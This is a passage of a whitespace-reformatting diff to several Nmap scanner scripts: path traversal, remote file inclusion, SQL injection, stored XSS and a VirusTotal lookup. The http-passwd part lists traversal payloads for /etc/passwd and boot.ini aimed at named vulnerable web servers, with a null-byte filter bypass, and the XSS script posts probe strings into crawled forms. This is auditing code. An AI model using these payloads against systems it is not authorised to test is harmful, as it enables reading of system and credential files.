hexify(string.rep("../", 10) .. "boot.ini"),
|
||||
hexify(string.rep("..\\", 10) .. "boot.ini"),
|
||||
hexify("." .. string.rep("../", 10) .. "etc/passwd"),
|
||||
hexify(string.rep("..\\/", 10) .. "etc\\/passwd"),
|
||||
hexify(string.rep("..\\", 10) .. "etc\\passwd"),
|
||||
local dirs = {
|
||||
hexify("//etc/passwd"),
|
||||
hexify(string.rep("../", 10) .. "etc/passwd"),
|
||||
hexify(string.rep("../", 10) .. "boot.ini"),
|
||||
hexify(string.rep("..\\", 10) .. "boot.ini"),
|
||||
hexify("." .. string.rep("../", 10) .. "etc/passwd"),
|
||||
hexify(string.rep("..\\/", 10) .. "etc\\/passwd"),
|
||||
hexify(string.rep("..\\", 10) .. "etc\\passwd"),
|
||||
|
||||
-- These don't get hexified because they are targeted at
|
||||
-- specific known vulnerabilities.
|
||||
'..\\\\..\\\\..\\..\\\\..\\..\\\\..\\..\\\\\\boot.ini',
|
||||
--miniwebsvr
|
||||
'%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./boot.ini',
|
||||
'%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/boot.ini',
|
||||
--Acritum Femitter Server
|
||||
'\\\\..%2f..%2f..%2f..%2fboot.ini% ../',
|
||||
--zervit Web Server and several others
|
||||
'index.html?../../../../../boot.ini',
|
||||
'index.html?..\\..\\..\\..\\..\\boot.ini',
|
||||
--Mongoose Web Server
|
||||
'///..%2f..%2f..%2f..%2fboot.ini',
|
||||
'/..%5C..%5C%5C..%5C..%5C%5C..%5C..%5C%5C..%5C..%5Cboot.ini',
|
||||
'/%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\boot.ini',
|
||||
-- Yaws 1.89
|
||||
'/..\\/..\\/..\\/boot.ini',
|
||||
'/..\\/\\..\\/\\..\\/\\boot.ini',
|
||||
'/\\../\\../\\../boot.ini',
|
||||
'////..\\..\\..\\boot.ini',
|
||||
--MultiThreaded HTTP Server v1.1
|
||||
'/..\\..\\..\\..\\\\..\\..\\\\..\\..\\\\\\boot.ini',
|
||||
--uHttp Server
|
||||
'/../../../../../../../etc/passwd',
|
||||
--Java Mini Web Server
|
||||
'/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini',
|
||||
'/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cetc%2fpasswd',
|
||||
}
|
||||
-- These don't get hexified because they are targeted at
|
||||
-- specific known vulnerabilities.
|
||||
'..\\\\..\\\\..\\..\\\\..\\..\\\\..\\..\\\\\\boot.ini',
|
||||
--miniwebsvr
|
||||
'%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./boot.ini',
|
||||
'%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/boot.ini',
|
||||
--Acritum Femitter Server
|
||||
'\\\\..%2f..%2f..%2f..%2fboot.ini% ../',
|
||||
--zervit Web Server and several others
|
||||
'index.html?../../../../../boot.ini',
|
||||
'index.html?..\\..\\..\\..\\..\\boot.ini',
|
||||
--Mongoose Web Server
|
||||
'///..%2f..%2f..%2f..%2fboot.ini',
|
||||
'/..%5C..%5C%5C..%5C..%5C%5C..%5C..%5C%5C..%5C..%5Cboot.ini',
|
||||
'/%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\boot.ini',
|
||||
-- Yaws 1.89
|
||||
'/..\\/..\\/..\\/boot.ini',
|
||||
'/..\\/\\..\\/\\..\\/\\boot.ini',
|
||||
'/\\../\\../\\../boot.ini',
|
||||
'////..\\..\\..\\boot.ini',
|
||||
--MultiThreaded HTTP Server v1.1
|
||||
'/..\\..\\..\\..\\\\..\\..\\\\..\\..\\\\\\boot.ini',
|
||||
--uHttp Server
|
||||
'/../../../../../../../etc/passwd',
|
||||
--Java Mini Web Server
|
||||
'/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini',
|
||||
'/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cetc%2fpasswd',
|
||||
}
|
||||
|
||||
for _, dir in ipairs(dirs) do
|
||||
local response = http.get(host, port, dir)
|
||||
for _, dir in ipairs(dirs) do
|
||||
local response = http.get(host, port, dir)
|
||||
|
||||
if validate(response) then
|
||||
return output(response.body, dir)
|
||||
end
|
||||
end
|
||||
if validate(response) then
|
||||
return output(response.body, dir)
|
||||
end
|
||||
end
|
||||
|
||||
local root = stdnse.get_script_args("http-passwd.root") or "/"
|
||||
local root = stdnse.get_script_args("http-passwd.root") or "/"
|
||||
|
||||
-- Check for something that looks like a query referring to a file name, like
|
||||
-- "index.php?page=next.php". Replace the query value with each of the test
|
||||
-- vectors. Add an encoded null byte at the end to bypass some checks; see
|
||||
-- http://insecure.org/news/P55-01.txt.
|
||||
local response = http.get(host, port, root)
|
||||
if response.body then
|
||||
local page_var = response.body:match ("[%?%&](%a-)=%a-%.%a")
|
||||
if page_var then
|
||||
local query_base = root .. "?" .. page_var .. "="
|
||||
stdnse.print_debug(1, "%s: testing with query %s.", SCRIPT_NAME, query_base .. "...")
|
||||
-- Check for something that looks like a query referring to a file name, like
|
||||
-- "index.php?page=next.php". Replace the query value with each of the test
|
||||
-- vectors. Add an encoded null byte at the end to bypass some checks; see
|
||||
-- http://insecure.org/news/P55-01.txt.
|
||||
local response = http.get(host, port, root)
|
||||
if response.body then
|
||||
local page_var = response.body:match ("[%?%&](%a-)=%a-%.%a")
|
||||
if page_var then
|
||||
local query_base = root .. "?" .. page_var .. "="
|
||||
stdnse.print_debug(1, "%s: testing with query %s.", SCRIPT_NAME, query_base .. "...")
|
||||
|
||||
for _, dir in ipairs(dirs) do
|
||||
local response = http.get(host, port, query_base .. dir .. "%00")
|
||||
for _, dir in ipairs(dirs) do
|
||||
local response = http.get(host, port, query_base .. dir .. "%00")
|
||||
|
||||
if validate(response) then
|
||||
return output(response.body, dir)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
if validate(response) then
|
||||
return output(response.body, dir)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -173,27 +173,27 @@ function action(host, port)
|
||||
check_response = function(body) return string.find(body, pattern_to_search) end
|
||||
|
||||
-- create a new crawler instance
|
||||
local crawler = httpspider.Crawler:new( host, port, nil, { scriptname = SCRIPT_NAME} )
|
||||
local crawler = httpspider.Crawler:new( host, port, nil, { scriptname = SCRIPT_NAME} )
|
||||
|
||||
if ( not(crawler) ) then
|
||||
return
|
||||
end
|
||||
if ( not(crawler) ) then
|
||||
return
|
||||
end
|
||||
|
||||
local return_table = {}
|
||||
local return_table = {}
|
||||
|
||||
while(true) do
|
||||
local status, r = crawler:crawl()
|
||||
while(true) do
|
||||
local status, r = crawler:crawl()
|
||||
|
||||
if ( not(status) ) then
|
||||
if ( r.err ) then
|
||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
if ( not(status) ) then
|
||||
if ( r.err ) then
|
||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
-- first we try rfi on forms
|
||||
if r.response and r.response.body and r.response.status==200 then
|
||||
-- first we try rfi on forms
|
||||
if r.response and r.response.body and r.response.status==200 then
|
||||
local all_forms = http.grab_forms(r.response.body)
|
||||
for _,form_plain in ipairs(all_forms) do
|
||||
local form = http.parse_form(form_plain)
|
||||
@@ -206,7 +206,7 @@ function action(host, port)
|
||||
end
|
||||
end
|
||||
end --for
|
||||
end --if
|
||||
end --if
|
||||
|
||||
-- now try inclusion by parameters
|
||||
local injectable = {}
|
||||
@@ -232,7 +232,7 @@ function action(host, port)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
return stdnse.format_output(true, return_table)
|
||||
end
|
||||
return stdnse.format_output(true, return_table)
|
||||
end
|
||||
|
||||
|
||||
@@ -108,8 +108,8 @@ local function build_injection_vector(urls)
|
||||
urlstr = url.build(utab)
|
||||
table.insert(all, urlstr)
|
||||
|
||||
qtab[k] = old_qtab
|
||||
utab.query = url.build_query(qtab)
|
||||
qtab[k] = old_qtab
|
||||
utab.query = url.build_query(qtab)
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -242,7 +242,7 @@ action = function(host, port)
|
||||
end
|
||||
|
||||
-- first we try sqli on forms
|
||||
if r.response and r.response.body and r.response.status==200 then
|
||||
if r.response and r.response.body and r.response.status==200 then
|
||||
local all_forms = http.grab_forms(r.response.body)
|
||||
for _,form_plain in ipairs(all_forms) do
|
||||
local form = http.parse_form(form_plain)
|
||||
@@ -255,7 +255,7 @@ action = function(host, port)
|
||||
end
|
||||
end
|
||||
end --for
|
||||
end --if
|
||||
end --if
|
||||
local links = {}
|
||||
if r.response.status and r.response.body then
|
||||
links = httpspider.LinkExtractor:new(r.url, r.response.body, crawler.options):getLinks()
|
||||
|
||||
@@ -76,207 +76,207 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open
|
||||
-- Note, that more payloads will slow down your scan.
|
||||
payloads = {
|
||||
|
||||
-- Basic vectors. Each one is an indication of potential XSS vulnerability.
|
||||
{ vector = 'ghz>hzx', description = "Unfiltered '>' (greater than sign). An indication of potential XSS vulnerability." },
|
||||
{ vector = 'hzx"zxc', description = "Unfiltered \" (double quotation mark). An indication of potential XSS vulnerability." },
|
||||
{ vector = 'zxc\'xcv', description = "Unfiltered ' (apostrophe). An indication of potential XSS vulnerability." },
|
||||
}
|
||||
-- Basic vectors. Each one is an indication of potential XSS vulnerability.
|
||||
{ vector = 'ghz>hzx', description = "Unfiltered '>' (greater than sign). An indication of potential XSS vulnerability." },
|
||||
{ vector = 'hzx"zxc', description = "Unfiltered \" (double quotation mark). An indication of potential XSS vulnerability." },
|
||||
{ vector = 'zxc\'xcv', description = "Unfiltered ' (apostrophe). An indication of potential XSS vulnerability." },
|
||||
}
|
||||
|
||||
|
||||
-- Create customized requests for all of our payloads.
|
||||
local makeRequests = function(host, port, submission, fields, fieldvalues)
|
||||
|
||||
local postdata = {}
|
||||
for _, p in ipairs(payloads) do
|
||||
for __, field in ipairs(fields) do
|
||||
if field["type"] == "text" or field["type"] == "textarea" or field["type"] == "radio" or field["type"] == "checkbox" then
|
||||
local postdata = {}
|
||||
for _, p in ipairs(payloads) do
|
||||
for __, field in ipairs(fields) do
|
||||
if field["type"] == "text" or field["type"] == "textarea" or field["type"] == "radio" or field["type"] == "checkbox" then
|
||||
|
||||
local value = fieldvalues[field["name"]]
|
||||
if value == nil then
|
||||
value = p.vector
|
||||
end
|
||||
|
||||
postdata[field["name"]] = value
|
||||
|
||||
end
|
||||
local value = fieldvalues[field["name"]]
|
||||
if value == nil then
|
||||
value = p.vector
|
||||
end
|
||||
|
||||
postdata[field["name"]] = value
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
stdnse.print_debug(2, "Making a POST request to " .. submission .. ": ")
|
||||
for i, content in pairs(postdata) do
|
||||
stdnse.print_debug(2, i .. ": " .. content)
|
||||
stdnse.print_debug(2, i .. ": " .. content)
|
||||
end
|
||||
local response = http.post(host, port, submission, { no_cache = true }, nil, postdata)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
local checkPayload = function(body, p)
|
||||
|
||||
if (body:match(p)) then
|
||||
return true
|
||||
end
|
||||
if (body:match(p)) then
|
||||
return true
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
-- Check if the payloads were succesfull by checking the content of pages in the uploadspaths array.
|
||||
local checkRequests = function(body, target)
|
||||
|
||||
local output = {}
|
||||
for _, p in ipairs(payloads) do
|
||||
if checkPayload(body, p.vector) then
|
||||
local report = " Payload: " .. p.vector .. "\n\t Uploaded on: " .. target
|
||||
if p.description then
|
||||
report = report .. "\n\t Description: " .. p.description
|
||||
end
|
||||
table.insert(output, report)
|
||||
end
|
||||
local output = {}
|
||||
for _, p in ipairs(payloads) do
|
||||
if checkPayload(body, p.vector) then
|
||||
local report = " Payload: " .. p.vector .. "\n\t Uploaded on: " .. target
|
||||
if p.description then
|
||||
report = report .. "\n\t Description: " .. p.description
|
||||
end
|
||||
table.insert(output, report)
|
||||
end
|
||||
return output
|
||||
end
|
||||
return output
|
||||
end
|
||||
|
||||
local readFromFile = function(filename)
|
||||
local database = { }
|
||||
for l in io.lines(filename) do
|
||||
table.insert(payloads, { vector = l })
|
||||
end
|
||||
local database = { }
|
||||
for l in io.lines(filename) do
|
||||
table.insert(payloads, { vector = l })
|
||||
end
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local formpaths = stdnse.get_script_args("http-stored-xss.formpaths")
|
||||
local uploadspaths = stdnse.get_script_args("http-stored-xss.uploadspaths")
|
||||
local fieldvalues = stdnse.get_script_args("http-stored-xss.fieldvalues") or {}
|
||||
local dbfile = stdnse.get_script_args("http-stored-xss.dbfile")
|
||||
local formpaths = stdnse.get_script_args("http-stored-xss.formpaths")
|
||||
local uploadspaths = stdnse.get_script_args("http-stored-xss.uploadspaths")
|
||||
local fieldvalues = stdnse.get_script_args("http-stored-xss.fieldvalues") or {}
|
||||
local dbfile = stdnse.get_script_args("http-stored-xss.dbfile")
|
||||
|
||||
if dbfile then
|
||||
readFromFile(dbfile)
|
||||
end
|
||||
if dbfile then
|
||||
readFromFile(dbfile)
|
||||
end
|
||||
|
||||
local returntable = {}
|
||||
local result
|
||||
local returntable = {}
|
||||
local result
|
||||
|
||||
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, no_cache = true } )
|
||||
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, no_cache = true } )
|
||||
|
||||
if (not(crawler)) then
|
||||
return
|
||||
end
|
||||
if (not(crawler)) then
|
||||
return
|
||||
end
|
||||
|
||||
crawler:set_timeout(10000)
|
||||
crawler:set_timeout(10000)
|
||||
|
||||
local index, k, target, response
|
||||
local index, k, target, response
|
||||
|
||||
-- Phase 1. Crawls through the website and POSTs malicious payloads.
|
||||
while (true) do
|
||||
-- Phase 1. Crawls through the website and POSTs malicious payloads.
|
||||
while (true) do
|
||||
|
||||
if formpaths then
|
||||
if formpaths then
|
||||
|
||||
k, target = next(formpaths, index)
|
||||
if (k == nil) then
|
||||
break
|
||||
end
|
||||
response = http.get(host, port, target, { no_cache = true })
|
||||
target = host.name .. target
|
||||
else
|
||||
|
||||
local status, r = crawler:crawl()
|
||||
-- if the crawler fails it can be due to a number of different reasons
|
||||
-- most of them are "legitimate" and should not be reason to abort
|
||||
if ( not(status) ) then
|
||||
if ( r.err ) then
|
||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
target = tostring(r.url)
|
||||
response = r.response
|
||||
|
||||
end
|
||||
|
||||
if response.body then
|
||||
|
||||
local forms = http.grab_forms(response.body)
|
||||
|
||||
for i, form in ipairs(forms) do
|
||||
|
||||
form = http.parse_form(form)
|
||||
|
||||
if form then
|
||||
|
||||
local action_absolute = string.find(form["action"], "https*://")
|
||||
|
||||
-- Determine the path where the form needs to be submitted.
|
||||
local submission
|
||||
if action_absolute then
|
||||
submission = form["action"]
|
||||
else
|
||||
local path_cropped = string.match(target, "(.*/).*")
|
||||
path_cropped = path_cropped and path_cropped or ""
|
||||
submission = path_cropped..form["action"]
|
||||
end
|
||||
|
||||
makeRequests(host, port, submission, form["fields"], fieldvalues)
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
if (index) then
|
||||
index = index + 1
|
||||
else
|
||||
index = 1
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME } )
|
||||
local index
|
||||
|
||||
-- Phase 2. Crawls through the website and searches for the special crafted strings that were POSTed before.
|
||||
while true do
|
||||
if uploadspaths then
|
||||
k, target = next(uploadspaths, index)
|
||||
if (k == nil) then
|
||||
break
|
||||
end
|
||||
response = http.get(host, port, target)
|
||||
else
|
||||
|
||||
local status, r = crawler:crawl()
|
||||
-- if the crawler fails it can be due to a number of different reasons
|
||||
-- most of them are "legitimate" and should not be reason to abort
|
||||
if ( not(status) ) then
|
||||
if ( r.err ) then
|
||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
target = tostring(r.url)
|
||||
response = r.response
|
||||
|
||||
end
|
||||
|
||||
if response.body then
|
||||
|
||||
result = checkRequests(response.body, target)
|
||||
|
||||
if next(result) then
|
||||
table.insert(returntable, result)
|
||||
end
|
||||
end
|
||||
if (index) then
|
||||
index = index + 1
|
||||
else
|
||||
index = 1
|
||||
end
|
||||
end
|
||||
|
||||
if next(returntable) then
|
||||
table.insert(returntable, 1, "Found the following stored XSS vulnerabilities: ")
|
||||
return returntable
|
||||
k, target = next(formpaths, index)
|
||||
if (k == nil) then
|
||||
break
|
||||
end
|
||||
response = http.get(host, port, target, { no_cache = true })
|
||||
target = host.name .. target
|
||||
else
|
||||
return "Couldn't find any stored XSS vulnerabilities."
|
||||
|
||||
local status, r = crawler:crawl()
|
||||
-- if the crawler fails it can be due to a number of different reasons
|
||||
-- most of them are "legitimate" and should not be reason to abort
|
||||
if ( not(status) ) then
|
||||
if ( r.err ) then
|
||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
target = tostring(r.url)
|
||||
response = r.response
|
||||
|
||||
end
|
||||
|
||||
if response.body then
|
||||
|
||||
local forms = http.grab_forms(response.body)
|
||||
|
||||
for i, form in ipairs(forms) do
|
||||
|
||||
form = http.parse_form(form)
|
||||
|
||||
if form then
|
||||
|
||||
local action_absolute = string.find(form["action"], "https*://")
|
||||
|
||||
-- Determine the path where the form needs to be submitted.
|
||||
local submission
|
||||
if action_absolute then
|
||||
submission = form["action"]
|
||||
else
|
||||
local path_cropped = string.match(target, "(.*/).*")
|
||||
path_cropped = path_cropped and path_cropped or ""
|
||||
submission = path_cropped..form["action"]
|
||||
end
|
||||
|
||||
makeRequests(host, port, submission, form["fields"], fieldvalues)
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
if (index) then
|
||||
index = index + 1
|
||||
else
|
||||
index = 1
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME } )
|
||||
local index
|
||||
|
||||
-- Phase 2. Crawls through the website and searches for the special crafted strings that were POSTed before.
|
||||
while true do
|
||||
if uploadspaths then
|
||||
k, target = next(uploadspaths, index)
|
||||
if (k == nil) then
|
||||
break
|
||||
end
|
||||
response = http.get(host, port, target)
|
||||
else
|
||||
|
||||
local status, r = crawler:crawl()
|
||||
-- if the crawler fails it can be due to a number of different reasons
|
||||
-- most of them are "legitimate" and should not be reason to abort
|
||||
if ( not(status) ) then
|
||||
if ( r.err ) then
|
||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
target = tostring(r.url)
|
||||
response = r.response
|
||||
|
||||
end
|
||||
|
||||
if response.body then
|
||||
|
||||
result = checkRequests(response.body, target)
|
||||
|
||||
if next(result) then
|
||||
table.insert(returntable, result)
|
||||
end
|
||||
end
|
||||
if (index) then
|
||||
index = index + 1
|
||||
else
|
||||
index = 1
|
||||
end
|
||||
end
|
||||
|
||||
if next(returntable) then
|
||||
table.insert(returntable, 1, "Found the following stored XSS vulnerabilities: ")
|
||||
return returntable
|
||||
else
|
||||
return "Couldn't find any stored XSS vulnerabilities."
|
||||
end
|
||||
end
|
||||
|
||||
@@ -102,154 +102,154 @@ local arg_checksum = stdnse.get_script_args(SCRIPT_NAME .. ".checksum")
|
||||
prerule = function() return true end
|
||||
|
||||
local function readFile(filename)
|
||||
local f = io.open(filename, "r")
|
||||
if ( not(f) ) then
|
||||
return false, ("Failed to open file: %s"):format(filename)
|
||||
end
|
||||
local f = io.open(filename, "r")
|
||||
if ( not(f) ) then
|
||||
return false, ("Failed to open file: %s"):format(filename)
|
||||
end
|
||||
|
||||
local str = f:read("*all")
|
||||
if ( not(str) ) then
|
||||
f:close()
|
||||
return false, "Failed to read file contents"
|
||||
end
|
||||
f:close()
|
||||
return true, str
|
||||
local str = f:read("*all")
|
||||
if ( not(str) ) then
|
||||
f:close()
|
||||
return false, "Failed to read file contents"
|
||||
end
|
||||
f:close()
|
||||
return true, str
|
||||
end
|
||||
|
||||
local function requestFileScan(filename)
|
||||
local status, str = readFile(filename)
|
||||
if ( not(status) ) then
|
||||
return false, str
|
||||
end
|
||||
local status, str = readFile(filename)
|
||||
if ( not(status) ) then
|
||||
return false, str
|
||||
end
|
||||
|
||||
local shortfile = filename:match("^.*[\\/](.*)$")
|
||||
local boundary = "----------------------------nmapboundary"
|
||||
local header = { ["Content-Type"] = ("multipart/form-data; boundary=%s"):format(boundary) }
|
||||
local postdata = ("--%s\r\n"):format(boundary)
|
||||
postdata = postdata .. "Content-Disposition: form-data; name=\"apikey\"\r\n\r\n"
|
||||
postdata = postdata .. arg_apiKey .. "\r\n"
|
||||
postdata = postdata .. ("--%s\r\n" ..
|
||||
"Content-Disposition: form-data; name=\"file\"; filename=\"%s\"\r\n" ..
|
||||
"Content-Type: text/plain\r\n\r\n%s\r\n--%s--\r\n"):format(boundary, shortfile, str, boundary)
|
||||
local shortfile = filename:match("^.*[\\/](.*)$")
|
||||
local boundary = "----------------------------nmapboundary"
|
||||
local header = { ["Content-Type"] = ("multipart/form-data; boundary=%s"):format(boundary) }
|
||||
local postdata = ("--%s\r\n"):format(boundary)
|
||||
postdata = postdata .. "Content-Disposition: form-data; name=\"apikey\"\r\n\r\n"
|
||||
postdata = postdata .. arg_apiKey .. "\r\n"
|
||||
postdata = postdata .. ("--%s\r\n" ..
|
||||
"Content-Disposition: form-data; name=\"file\"; filename=\"%s\"\r\n" ..
|
||||
"Content-Type: text/plain\r\n\r\n%s\r\n--%s--\r\n"):format(boundary, shortfile, str, boundary)
|
||||
|
||||
local host = "www.virustotal.com"
|
||||
local port = { number = 80, protocol = "tcp" }
|
||||
local path = "/vtapi/v2/file/scan"
|
||||
local host = "www.virustotal.com"
|
||||
local port = { number = 80, protocol = "tcp" }
|
||||
local path = "/vtapi/v2/file/scan"
|
||||
|
||||
local response = http.post( host, port, path, { header = header }, nil, postdata )
|
||||
if ( not(response) or response.status ~= 200 ) then
|
||||
return false, "Failed to request file scan"
|
||||
end
|
||||
local response = http.post( host, port, path, { header = header }, nil, postdata )
|
||||
if ( not(response) or response.status ~= 200 ) then
|
||||
return false, "Failed to request file scan"
|
||||
end
|
||||
|
||||
local status, json_data = json.parse(response.body)
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to parse JSON response"
|
||||
end
|
||||
local status, json_data = json.parse(response.body)
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to parse JSON response"
|
||||
end
|
||||
|
||||
return true, json_data
|
||||
return true, json_data
|
||||
end
|
||||
|
||||
local function getFileScanReport(resource)
|
||||
|
||||
local host = "www.virustotal.com"
|
||||
local port = { number = 80, protocol = "tcp" }
|
||||
local path = "/vtapi/v2/file/report"
|
||||
local host = "www.virustotal.com"
|
||||
local port = { number = 80, protocol = "tcp" }
|
||||
local path = "/vtapi/v2/file/report"
|
||||
|
||||
|
||||
local response = http.post(host, port, path, nil, nil, { ["apikey"] = arg_apiKey, ["resource"] = resource })
|
||||
if ( not(response) or response.status ~= 200 ) then
|
||||
return false, "Failed to retrieve scan report"
|
||||
end
|
||||
local response = http.post(host, port, path, nil, nil, { ["apikey"] = arg_apiKey, ["resource"] = resource })
|
||||
if ( not(response) or response.status ~= 200 ) then
|
||||
return false, "Failed to retrieve scan report"
|
||||
end
|
||||
|
||||
local status, json_data = json.parse(response.body)
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to parse JSON response"
|
||||
end
|
||||
local status, json_data = json.parse(response.body)
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to parse JSON response"
|
||||
end
|
||||
|
||||
return true, json_data
|
||||
return true, json_data
|
||||
end
|
||||
|
||||
local function calcSHA256(filename)
|
||||
|
||||
local status, str = readFile(filename)
|
||||
if ( not(status) ) then
|
||||
return false, str
|
||||
end
|
||||
return true, stdnse.tohex(openssl.digest("sha256", str))
|
||||
local status, str = readFile(filename)
|
||||
if ( not(status) ) then
|
||||
return false, str
|
||||
end
|
||||
return true, stdnse.tohex(openssl.digest("sha256", str))
|
||||
end
|
||||
|
||||
local function parseScanReport(report)
|
||||
local result = {}
|
||||
local result = {}
|
||||
|
||||
table.insert(result, ("Permalink: %s"):format(report.permalink))
|
||||
table.insert(result, ("Scan date: %s"):format(report.scan_date))
|
||||
table.insert(result, ("Positives: %s"):format(report.positives))
|
||||
table.insert(result, {
|
||||
name = "digests",
|
||||
("SHA1: %s"):format(report.sha1),
|
||||
("SHA256: %s"):format(report.sha256),
|
||||
("MD5: %s"):format(report.md5)
|
||||
})
|
||||
table.insert(result, ("Permalink: %s"):format(report.permalink))
|
||||
table.insert(result, ("Scan date: %s"):format(report.scan_date))
|
||||
table.insert(result, ("Positives: %s"):format(report.positives))
|
||||
table.insert(result, {
|
||||
name = "digests",
|
||||
("SHA1: %s"):format(report.sha1),
|
||||
("SHA256: %s"):format(report.sha256),
|
||||
("MD5: %s"):format(report.md5)
|
||||
})
|
||||
|
||||
local tmp = {}
|
||||
for name, scanres in pairs(report.scans) do
|
||||
local res = ( scanres.detected ) and scanres.result or "-"
|
||||
table.insert(tmp, { name = name, result = res, update = scanres.update, version = scanres.version })
|
||||
end
|
||||
table.sort(tmp, function(a,b) return a.name:upper()<b.name:upper() end)
|
||||
local tmp = {}
|
||||
for name, scanres in pairs(report.scans) do
|
||||
local res = ( scanres.detected ) and scanres.result or "-"
|
||||
table.insert(tmp, { name = name, result = res, update = scanres.update, version = scanres.version })
|
||||
end
|
||||
table.sort(tmp, function(a,b) return a.name:upper()<b.name:upper() end)
|
||||
|
||||
local scan_tbl = tab.new(4)
|
||||
tab.addrow(scan_tbl, "name", "result", "date", "version")
|
||||
for _, v in ipairs(tmp) do
|
||||
tab.addrow(scan_tbl, v.name, v.result, v.update, v.version)
|
||||
end
|
||||
table.insert(result, { name = "Results", tab.dump(scan_tbl) })
|
||||
local scan_tbl = tab.new(4)
|
||||
tab.addrow(scan_tbl, "name", "result", "date", "version")
|
||||
for _, v in ipairs(tmp) do
|
||||
tab.addrow(scan_tbl, v.name, v.result, v.update, v.version)
|
||||
end
|
||||
table.insert(result, { name = "Results", tab.dump(scan_tbl) })
|
||||
|
||||
return result
|
||||
return result
|
||||
end
|
||||
|
||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
||||
|
||||
action = function()
|
||||
|
||||
if ( not(arg_apiKey) ) then
|
||||
return fail("An API key is required in order to use this script (see description)")
|
||||
end
|
||||
if ( not(arg_apiKey) ) then
|
||||
return fail("An API key is required in order to use this script (see description)")
|
||||
end
|
||||
|
||||
local resource
|
||||
if ( arg_upload == "true" and arg_filename ) then
|
||||
local status, json_data = requestFileScan(arg_filename, arg_apiKey)
|
||||
if ( not(status) or not(json_data['resource']) ) then
|
||||
return fail(json_data)
|
||||
end
|
||||
resource = json_data['resource']
|
||||
local resource
|
||||
if ( arg_upload == "true" and arg_filename ) then
|
||||
local status, json_data = requestFileScan(arg_filename, arg_apiKey)
|
||||
if ( not(status) or not(json_data['resource']) ) then
|
||||
return fail(json_data)
|
||||
end
|
||||
resource = json_data['resource']
|
||||
|
||||
local output = {}
|
||||
table.insert(output, "Your file was succesfully uploaded and placed in the scanning queue.")
|
||||
table.insert(output, { name = "To check the current status visit:", json_data['permalink'] })
|
||||
return stdnse.format_output(true, output)
|
||||
elseif ( arg_filename ) then
|
||||
local status, sha256 = calcSHA256(arg_filename)
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to calculate SHA256 checksum for file")
|
||||
end
|
||||
resource = sha256
|
||||
elseif ( arg_checksum ) then
|
||||
resource = arg_checksum
|
||||
else
|
||||
return
|
||||
end
|
||||
local output = {}
|
||||
table.insert(output, "Your file was succesfully uploaded and placed in the scanning queue.")
|
||||
table.insert(output, { name = "To check the current status visit:", json_data['permalink'] })
|
||||
return stdnse.format_output(true, output)
|
||||
elseif ( arg_filename ) then
|
||||
local status, sha256 = calcSHA256(arg_filename)
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to calculate SHA256 checksum for file")
|
||||
end
|
||||
resource = sha256
|
||||
elseif ( arg_checksum ) then
|
||||
resource = arg_checksum
|
||||
else
|
||||
return
|
||||
end
|
||||
|
||||
local status, response
|
||||
local status, response
|
||||
|
||||
local status, response = getFileScanReport(resource)
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to retrieve file scan report")
|
||||
end
|
||||
local status, response = getFileScanReport(resource)
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to retrieve file scan report")
|
||||
end
|
||||
|
||||
if ( not(response.response_code) or 0 == tonumber(response.response_code) ) then
|
||||
return fail(("Failed to retreive scan report for resource: %s"):format(resource))
|
||||
end
|
||||
if ( not(response.response_code) or 0 == tonumber(response.response_code) ) then
|
||||
